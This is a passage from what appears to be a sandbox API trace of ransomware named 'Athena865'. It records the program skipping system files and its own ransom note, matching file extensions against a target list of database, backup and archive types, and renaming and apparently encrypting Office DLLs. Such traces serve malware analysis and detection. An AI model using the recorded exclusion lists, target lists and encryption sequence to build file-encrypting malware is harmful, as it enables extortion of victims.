lpString2="nrmlib") returned -1 [0081.257] lstrlenW (lpString="ns2") returned 3 [0081.257] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0081.257] lstrlenW (lpString="ns3") returned 3 [0081.257] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0081.257] lstrlenW (lpString="ns4") returned 3 [0081.257] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0081.257] lstrlenW (lpString="nsf") returned 3 [0081.257] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0081.257] lstrlenW (lpString="nv") returned 2 [0081.257] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0081.257] lstrlenW (lpString="nv2") returned 3 [0081.257] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0081.257] lstrlenW (lpString="nwdb") returned 4 [0081.258] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0081.258] lstrlenW (lpString="nyf") returned 3 [0081.258] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0081.258] lstrlenW (lpString="odb") returned 3 [0081.258] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0081.258] lstrlenW (lpString="odb") returned 3 [0081.258] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0081.258] lstrlenW (lpString="oqy") returned 3 [0081.258] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0081.258] lstrlenW (lpString="ora") returned 3 [0081.258] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0081.258] lstrlenW (lpString="orx") returned 3 [0081.258] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0081.258] lstrlenW (lpString="owc") returned 3 [0081.258] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0081.258] lstrlenW (lpString="p96") returned 3 [0081.258] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0081.258] lstrlenW (lpString="p97") returned 3 [0081.258] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0081.258] lstrlenW (lpString="pan") returned 3 [0081.258] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0081.258] lstrlenW (lpString="pdb") returned 3 [0081.258] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0081.258] lstrlenW (lpString="pdm") returned 3 [0081.258] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0081.258] lstrlenW (lpString="pnz") returned 3 [0081.258] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0081.258] lstrlenW (lpString="qry") returned 3 [0081.258] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0081.258] lstrlenW (lpString="qvd") returned 3 [0081.258] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0081.258] lstrlenW (lpString="rbf") returned 3 [0081.259] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0081.259] lstrlenW (lpString="rctd") returned 4 [0081.259] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0081.259] lstrlenW (lpString="rod") returned 3 [0081.259] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0081.259] lstrlenW (lpString="rodx") returned 4 [0081.259] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0081.259] lstrlenW (lpString="rpd") returned 3 [0081.259] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0081.259] lstrlenW (lpString="rsd") returned 3 [0081.259] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0081.259] lstrlenW (lpString="sas7bdat") returned 8 [0081.259] lstrcmpiW (lpString1="tnIE.dll", lpString2="sas7bdat") returned 1 [0081.259] lstrlenW (lpString="sbf") returned 3 [0081.259] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0081.259] lstrlenW (lpString="scx") returned 3 [0081.259] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0081.259] lstrlenW (lpString="sdb") returned 3 [0081.259] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0081.259] lstrlenW (lpString="sdc") returned 3 [0081.259] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0081.259] lstrlenW (lpString="sdf") returned 3 [0081.259] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0081.259] lstrlenW (lpString="sis") returned 3 [0081.259] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0081.259] lstrlenW (lpString="spq") returned 3 [0081.259] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0081.259] lstrlenW (lpString="te") returned 2 [0081.259] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0081.259] lstrlenW (lpString="teacher") returned 7 [0081.259] lstrcmpiW (lpString1="nIE.dll", lpString2="teacher") returned -1 [0081.259] lstrlenW (lpString="tmd") returned 3 [0081.259] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0081.259] lstrlenW (lpString="tps") returned 3 [0081.259] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0081.260] lstrlenW (lpString="trc") returned 3 [0081.260] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0081.260] lstrlenW (lpString="trc") returned 3 [0081.260] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0081.260] lstrlenW (lpString="trm") returned 3 [0081.260] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0081.260] lstrlenW (lpString="udb") returned 3 [0081.260] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0081.260] lstrlenW (lpString="udl") returned 3 [0081.260] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0081.260] lstrlenW (lpString="usr") returned 3 [0081.260] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0081.260] lstrlenW (lpString="v12") returned 3 [0081.260] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0081.260] lstrlenW (lpString="vis") returned 3 [0081.260] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0081.260] lstrlenW (lpString="vpd") returned 3 [0081.260] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0081.260] lstrlenW (lpString="vvv") returned 3 [0081.260] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0081.260] lstrlenW (lpString="wdb") returned 3 [0081.260] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0081.260] lstrlenW (lpString="wmdb") returned 4 [0081.260] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0081.260] lstrlenW (lpString="wrk") returned 3 [0081.260] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0081.260] lstrlenW (lpString="xdb") returned 3 [0081.260] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0081.260] lstrlenW (lpString="xld") returned 3 [0081.260] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0081.260] lstrlenW (lpString="xmlff") returned 5 [0081.260] lstrcmpiW (lpString1="E.dll", lpString2="xmlff") returned -1 [0081.260] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnIE.dll.Athena865") returned 65 [0081.260] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnIE.dll" (normalized: "c:\\program files\\microsoft office\\office14\\onbttnie.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnIE.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onbttnie.dll.athena865"), dwFlags=0x1) returned 1 [0081.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnIE.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onbttnie.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0081.262] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=803728) returned 1 [0081.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0081.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0081.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0081.263] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0081.263] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0081.263] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.264] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc4690, lpName=0x0) returned 0x17c [0081.265] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc4690) returned 0x2d50000 [0081.293] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0081.294] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0081.294] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0081.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0081.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0081.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0081.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0081.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0081.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0081.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0081.295] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0081.302] CloseHandle (hObject=0x17c) returned 1 [0081.302] CloseHandle (hObject=0x154) returned 1 [0081.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0081.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0081.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0081.305] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8121f200, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x6be845d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8121f200, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0x91390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONBttnIELinkedNotes.dll", cAlternateFileName="ONBTTN~1.DLL")) returned 1 [0081.305] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0081.305] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0081.305] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2=".") returned 1 [0081.305] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="..") returned 1 [0081.305] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="windows") returned -1 [0081.306] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="bootmgr") returned 1 [0081.306] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="temp") returned -1 [0081.306] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="pagefile.sys") returned -1 [0081.306] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="boot") returned 1 [0081.306] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="ids.txt") returned 1 [0081.306] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="ntuser.dat") returned 1 [0081.306] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="perflogs") returned -1 [0081.306] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="MSBuild") returned 1 [0081.306] lstrlenW (lpString="ONBttnIELinkedNotes.dll") returned 23 [0081.306] lstrcpyW (in: lpString1=0x241e89e, lpString2="ONBttnIELinkedNotes.dll" | out: lpString1="ONBttnIELinkedNotes.dll") returned="ONBttnIELinkedNotes.dll" [0081.306] lstrlenW (lpString="ONBttnIELinkedNotes.dll") returned 23 [0081.306] lstrlenW (lpString="Athena865") returned 9 [0081.306] lstrcmpiW (lpString1="Notes.dll", lpString2="Athena865") returned 1 [0081.306] lstrlenW (lpString=".dll") returned 4 [0081.306] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2=".dll") returned 1 [0081.306] lstrlenW (lpString=".lnk") returned 4 [0081.306] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2=".lnk") returned 1 [0081.306] lstrlenW (lpString=".ini") returned 4 [0081.306] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2=".ini") returned 1 [0081.306] lstrlenW (lpString=".sys") returned 4 [0081.306] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2=".sys") returned 1 [0081.306] lstrlenW (lpString="ONBttnIELinkedNotes.dll") returned 23 [0081.306] lstrlenW (lpString="bak") returned 3 [0081.306] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0081.306] lstrlenW (lpString="ba_") returned 3 [0081.306] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0081.306] lstrlenW (lpString="dbb") returned 3 [0081.306] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0081.306] lstrlenW (lpString="vmdk") returned 4 [0081.306] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0081.306] lstrlenW (lpString="rar") returned 3 [0081.307] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0081.307] lstrlenW (lpString="zip") returned 3 [0081.307] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0081.307] lstrlenW (lpString="tgz") returned 3 [0081.307] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0081.307] lstrlenW (lpString="vbox") returned 4 [0081.307] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0081.307] lstrlenW (lpString="vdi") returned 3 [0081.307] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0081.307] lstrlenW (lpString="vhd") returned 3 [0081.307] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0081.307] lstrlenW (lpString="vhdx") returned 4 [0081.307] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0081.307] lstrlenW (lpString="avhd") returned 4 [0081.307] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0081.307] lstrlenW (lpString="db") returned 2 [0081.307] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0081.307] lstrlenW (lpString="db2") returned 3 [0081.307] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0081.307] lstrlenW (lpString="db3") returned 3 [0081.307] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0081.307] lstrlenW (lpString="dbf") returned 3 [0081.307] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0081.307] lstrlenW (lpString="mdf") returned 3 [0081.307] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0081.307] lstrlenW (lpString="mdb") returned 3 [0081.307] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0081.307] lstrlenW (lpString="sql") returned 3 [0081.307] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0081.307] lstrlenW (lpString="sqlite") returned 6 [0081.307] lstrcmpiW (lpString1="es.dll", lpString2="sqlite") returned -1 [0081.307] lstrlenW (lpString="sqlite3") returned 7 [0081.308] lstrcmpiW (lpString1="tes.dll", lpString2="sqlite3") returned 1 [0081.308] lstrlenW (lpString="sqlitedb") returned 8 [0081.308] lstrcmpiW (lpString1="otes.dll", lpString2="sqlitedb") returned -1 [0081.308] lstrlenW (lpString="xml") returned 3 [0081.308] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0081.308] lstrlenW (lpString="$er") returned 3 [0081.308] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0081.308] lstrlenW (lpString="4dd") returned 3 [0081.308] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0081.308] lstrlenW (lpString="4dl") returned 3 [0081.308] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0081.308] lstrlenW (lpString="^^^") returned 3 [0081.308] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0081.308] lstrlenW (lpString="abs") returned 3 [0081.308] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0081.308] lstrlenW (lpString="abx") returned 3 [0081.308] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0081.308] lstrlenW (lpString="accdb") returned 5 [0081.308] lstrcmpiW (lpString1="s.dll", lpString2="accdb") returned 1 [0081.308] lstrlenW (lpString="accdc") returned 5 [0081.308] lstrcmpiW (lpString1="s.dll", lpString2="accdc") returned 1 [0081.308] lstrlenW (lpString="accde") returned 5 [0081.308] lstrcmpiW (lpString1="s.dll", lpString2="accde") returned 1 [0081.308] lstrlenW (lpString="accdr") returned 5 [0081.308] lstrcmpiW (lpString1="s.dll", lpString2="accdr") returned 1 [0081.308] lstrlenW (lpString="accdt") returned 5 [0081.308] lstrcmpiW (lpString1="s.dll", lpString2="accdt") returned 1 [0081.308] lstrlenW (lpString="accdw") returned 5 [0081.308] lstrcmpiW (lpString1="s.dll", lpString2="accdw") returned 1 [0081.308] lstrlenW (lpString="accft") returned 5 [0081.308] lstrcmpiW (lpString1="s.dll", lpString2="accft") returned 1 [0081.308] lstrlenW (lpString="adb") returned 3 [0081.308] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0081.309] lstrlenW (lpString="adb") returned 3 [0081.309] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0081.309] lstrlenW (lpString="ade") returned 3 [0081.309] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0081.309] lstrlenW (lpString="adf") returned 3 [0081.309] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0081.309] lstrlenW (lpString="adn") returned 3 [0081.309] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0081.309] lstrlenW (lpString="adp") returned 3 [0081.309] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0081.309] lstrlenW (lpString="alf") returned 3 [0081.309] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0081.309] lstrlenW (lpString="ask") returned 3 [0081.309] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0081.309] lstrlenW (lpString="btr") returned 3 [0081.309] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0081.309] lstrlenW (lpString="cat") returned 3 [0081.311] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0081.311] lstrlenW (lpString="cdb") returned 3 [0081.311] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0081.311] lstrlenW (lpString="ckp") returned 3 [0081.311] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0081.311] lstrlenW (lpString="cma") returned 3 [0081.311] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0081.311] lstrlenW (lpString="cpd") returned 3 [0081.311] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0081.311] lstrlenW (lpString="dacpac") returned 6 [0081.311] lstrcmpiW (lpString1="es.dll", lpString2="dacpac") returned 1 [0081.311] lstrlenW (lpString="dad") returned 3 [0081.311] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0081.311] lstrlenW (lpString="dadiagrams") returned 10 [0081.311] lstrcmpiW (lpString1="dNotes.dll", lpString2="dadiagrams") returned 1 [0081.311] lstrlenW (lpString="daschema") returned 8 [0081.311] lstrcmpiW (lpString1="otes.dll", lpString2="daschema") returned 1 [0081.311] lstrlenW (lpString="db-journal") returned 10 [0081.311] lstrcmpiW (lpString1="dNotes.dll", lpString2="db-journal") returned 1 [0081.311] lstrlenW (lpString="db-shm") returned 6 [0081.311] lstrcmpiW (lpString1="es.dll", lpString2="db-shm") returned 1 [0081.311] lstrlenW (lpString="db-wal") returned 6 [0081.311] lstrcmpiW (lpString1="es.dll", lpString2="db-wal") returned 1 [0081.311] lstrlenW (lpString="dbc") returned 3 [0081.312] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0081.312] lstrlenW (lpString="dbs") returned 3 [0081.312] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0081.312] lstrlenW (lpString="dbt") returned 3 [0081.312] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0081.312] lstrlenW (lpString="dbv") returned 3 [0081.312] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0081.312] lstrlenW (lpString="dbx") returned 3 [0081.312] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0081.312] lstrlenW (lpString="dcb") returned 3 [0081.312] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0081.312] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0081.312] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnIELinkedNotes.dll.Athena865") returned 76 [0081.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnIELinkedNotes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\onbttnielinkednotes.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnIELinkedNotes.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onbttnielinkednotes.dll.athena865"), dwFlags=0x1) returned 1 [0081.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONBttnIELinkedNotes.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onbttnielinkednotes.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0081.313] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=594832) returned 1 [0081.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0081.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0081.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0081.314] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0081.314] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0081.314] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.314] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91690, lpName=0x0) returned 0x17c [0081.316] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x91690) returned 0x2d50000 [0081.337] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0081.338] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0081.338] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0081.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0081.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0081.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0081.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0081.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0081.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0081.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0081.338] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0081.344] CloseHandle (hObject=0x17c) returned 1 [0081.344] CloseHandle (hObject=0x154) returned 1 [0081.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0081.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0081.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0081.346] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee925900, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6beaa730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee925900, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdbd80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONBttnOL.dll", cAlternateFileName="")) returned 1 [0081.346] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0081.346] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0081.346] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2=".") returned 1 [0081.346] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2="..") returned 1 [0081.346] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2="windows") returned -1 [0081.346] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2="bootmgr") returned 1 [0081.347] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2="temp") returned -1 [0081.347] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2="pagefile.sys") returned -1 [0081.347] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2="boot") returned 1 [0081.347] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2="ids.txt") returned 1 [0081.347] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2="ntuser.dat") returned 1 [0081.347] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2="perflogs") returned -1 [0081.347] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2="MSBuild") returned 1 [0081.347] lstrlenW (lpString="ONBttnOL.dll") returned 12 [0081.347] lstrcpyW (in: lpString1=0x241e89e, lpString2="ONBttnOL.dll" | out: lpString1="ONBttnOL.dll") returned="ONBttnOL.dll" [0081.347] lstrlenW (lpString="ONBttnOL.dll") returned 12 [0081.347] lstrlenW (lpString="Athena865") returned 9 [0081.347] lstrcmpiW (lpString1="ttnOL.dll", lpString2="Athena865") returned 1 [0081.347] lstrlenW (lpString=".dll") returned 4 [0081.347] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".lnk") returned 4 [0081.347] lstrcmpiW (lpString1="ONBttnOL.dll", lpString2=".lnk") returned 1 [0081.347] lstrlenW 